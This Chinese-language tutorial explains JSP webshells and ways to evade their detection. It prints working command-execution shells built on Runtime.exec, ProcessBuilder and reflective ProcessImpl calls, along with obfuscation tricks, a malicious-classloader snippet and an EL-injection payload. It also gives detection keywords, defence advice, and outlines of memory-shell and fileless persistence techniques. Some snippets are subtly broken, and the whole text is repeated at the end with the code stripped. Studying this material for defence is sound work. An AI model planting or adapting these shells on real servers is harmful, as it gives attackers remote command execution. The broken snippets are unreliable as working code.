Jsp Webshell原理性探究的那些事
字数 1431 2025-08-10 08:28:07

JSP Webshell原理与绕过技术深入解析

一、基础JSP Webshell原理

1.1 基本执行模型

JSP Webshell的核心原理是通过JSP页面接收参数并执行系统命令:

<% 
// 基础WebShell示例
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process process = Runtime.getRuntime().exec(cmd);
    InputStream inputStream = process.getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
    String res = null;
    while ((res = bufferedReader.readLine()) != null) {
        response.getWriter().write(res);
    }
}
%>

关键点分析:

  • 通过request.getParameter("cmd")获取用户输入
  • 使用Runtime.getRuntime().exec()执行系统命令
  • 读取命令执行结果并输出到响应中

1.2 执行流程分析

  1. 用户访问JSP页面并传入cmd参数
  2. JSP引擎解析并执行脚本
  3. 命令执行结果通过HTTP响应返回给用户

二、替代执行方法

2.1 ProcessBuilder方式

Runtime.getRuntime().exec()被禁用时,可使用ProcessBuilder

<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process process = new ProcessBuilder(new String[]{cmd}).start();
    // 后续处理与Runtime方式相同
}
%>

2.2 反射调用ProcessImpl

通过反射调用底层ProcessImpl类的start方法:

<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Class<?> aClass = Class.forName("java.lang.ProcessImpl");
    Method start = aClass.getDeclaredMethod("start", String[].class, Map.class, 
        String.class, ProcessBuilder.Redirect[].class, boolean.class);
    start.setAccessible(true);
    Process process = (Process) start.invoke(null, new String[]{cmd}, null, ".", null, true);
    // 后续处理...
}
%>

平台差异:

  • Windows: 使用ProcessImpl
  • Unix-like: 使用UNIXProcess

2.3 底层Unsafe调用

更底层的实现方式是通过Unsafe创建类实例并调用native方法forkAndExec执行命令。

三、JSP解析流程与混淆技术

3.1 JSP解析过程

  1. 首次访问:JSP页面被编译成Servlet类(生成.class文件)
  2. 后续访问:直接使用已编译的Servlet处理请求
  3. 关键方法JspServletWrapper#servicecompileJDTCompiler

3.2 混淆与绕过技术

3.2.1 编码混淆

常见混淆方式包括:

  • 十六进制编码
  • Unicode编码
  • Base64编码
  • 自定义编码算法

示例(部分编码):

<%-- 使用字符编码混淆 --%>
<%
String x = "\u0052\u0075\u006e\u0074\u0069\u006d\u0065"; // "Runtime"
Process p = Class.forName("java.lang."+x).getMethod("get"+x).invoke(null);
%>

3.2.2 类加载技巧

通过自定义类加载器加载恶意代码:

<%
byte[] classBytes = /* 恶意类的字节码 */;
ClassLoader loader = new ClassLoader(){};
Class<?> clazz = loader.defineClass(null, classBytes, 0, classBytes.length);
clazz.newInstance();
%>

3.2.3 表达式语言(EL)利用

使用JSP EL表达式执行命令:

${pageContext.request.getSession().setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc"))}

四、防御与检测

4.1 常见检测点

  1. 关键词检测

    • Runtime
    • ProcessBuilder
    • ProcessImpl
    • getRuntime
    • exec
  2. 行为检测

    • 反射调用
    • 类加载行为
    • 命令执行特征

4.2 防御建议

  1. 输入验证

    • 严格过滤JSP页面参数
    • 禁用危险字符和关键词
  2. 权限控制

    • 限制JSP执行权限
    • 使用SecurityManager
  3. 监控措施

    • 监控异常JSP编译行为
    • 审计命令执行相关API调用
  4. 环境加固

    • 禁用危险Java类方法
    • 使用安全沙箱环境

五、高级绕过技术

5.1 内存马技术

不依赖文件上传,直接通过内存注入恶意代码:

  1. 利用反序列化漏洞
  2. 通过JNDI注入
  3. 修改已加载的Servlet

5.2 无文件Webshell

通过以下方式实现无文件驻留:

  1. 注册Filter/Servlet/Listener
  2. 修改现有Servlet逻辑
  3. 利用中间件特性

5.3 上下文隐藏技术

  1. 将恶意代码隐藏在正常业务逻辑中
  2. 使用合法功能作为掩护(如文件上传、数据处理)
  3. 分块执行和结果拼接

六、总结

JSP Webshell技术从基础命令执行到高级绕过手段不断发展,防御方需要深入理解Java执行机制和JSP解析流程,建立多层防御体系。关键点包括:

  1. 掌握多种命令执行方式及其原理
  2. 理解JSP编译执行流程
  3. 熟悉常见混淆和绕过技术
  4. 建立全面的检测和防御策略

安全防护应当结合静态检测、动态监控和行为分析,形成完整的防御闭环。

JSP Webshell原理与绕过技术深入解析 一、基础JSP Webshell原理 1.1 基本执行模型 JSP Webshell的核心原理是通过JSP页面接收参数并执行系统命令: 关键点分析: 通过 request.getParameter("cmd") 获取用户输入 使用 Runtime.getRuntime().exec() 执行系统命令 读取命令执行结果并输出到响应中 1.2 执行流程分析 用户访问JSP页面并传入 cmd 参数 JSP引擎解析并执行脚本 命令执行结果通过HTTP响应返回给用户 二、替代执行方法 2.1 ProcessBuilder方式 当 Runtime.getRuntime().exec() 被禁用时,可使用 ProcessBuilder : 2.2 反射调用ProcessImpl 通过反射调用底层 ProcessImpl 类的 start 方法: 平台差异: Windows: 使用 ProcessImpl 类 Unix-like: 使用 UNIXProcess 类 2.3 底层Unsafe调用 更底层的实现方式是通过 Unsafe 创建类实例并调用native方法 forkAndExec 执行命令。 三、JSP解析流程与混淆技术 3.1 JSP解析过程 首次访问 :JSP页面被编译成Servlet类(生成.class文件) 后续访问 :直接使用已编译的Servlet处理请求 关键方法 : JspServletWrapper#service → compile → JDTCompiler 3.2 混淆与绕过技术 3.2.1 编码混淆 常见混淆方式包括: 十六进制编码 Unicode编码 Base64编码 自定义编码算法 示例(部分编码): 3.2.2 类加载技巧 通过自定义类加载器加载恶意代码: 3.2.3 表达式语言(EL)利用 使用JSP EL表达式执行命令: 四、防御与检测 4.1 常见检测点 关键词检测 : Runtime ProcessBuilder ProcessImpl getRuntime exec 行为检测 : 反射调用 类加载行为 命令执行特征 4.2 防御建议 输入验证 : 严格过滤JSP页面参数 禁用危险字符和关键词 权限控制 : 限制JSP执行权限 使用SecurityManager 监控措施 : 监控异常JSP编译行为 审计命令执行相关API调用 环境加固 : 禁用危险Java类方法 使用安全沙箱环境 五、高级绕过技术 5.1 内存马技术 不依赖文件上传,直接通过内存注入恶意代码: 利用反序列化漏洞 通过JNDI注入 修改已加载的Servlet 5.2 无文件Webshell 通过以下方式实现无文件驻留: 注册Filter/Servlet/Listener 修改现有Servlet逻辑 利用中间件特性 5.3 上下文隐藏技术 将恶意代码隐藏在正常业务逻辑中 使用合法功能作为掩护(如文件上传、数据处理) 分块执行和结果拼接 六、总结 JSP Webshell技术从基础命令执行到高级绕过手段不断发展,防御方需要深入理解Java执行机制和JSP解析流程,建立多层防御体系。关键点包括: 掌握多种命令执行方式及其原理 理解JSP编译执行流程 熟悉常见混淆和绕过技术 建立全面的检测和防御策略 安全防护应当结合静态检测、动态监控和行为分析,形成完整的防御闭环。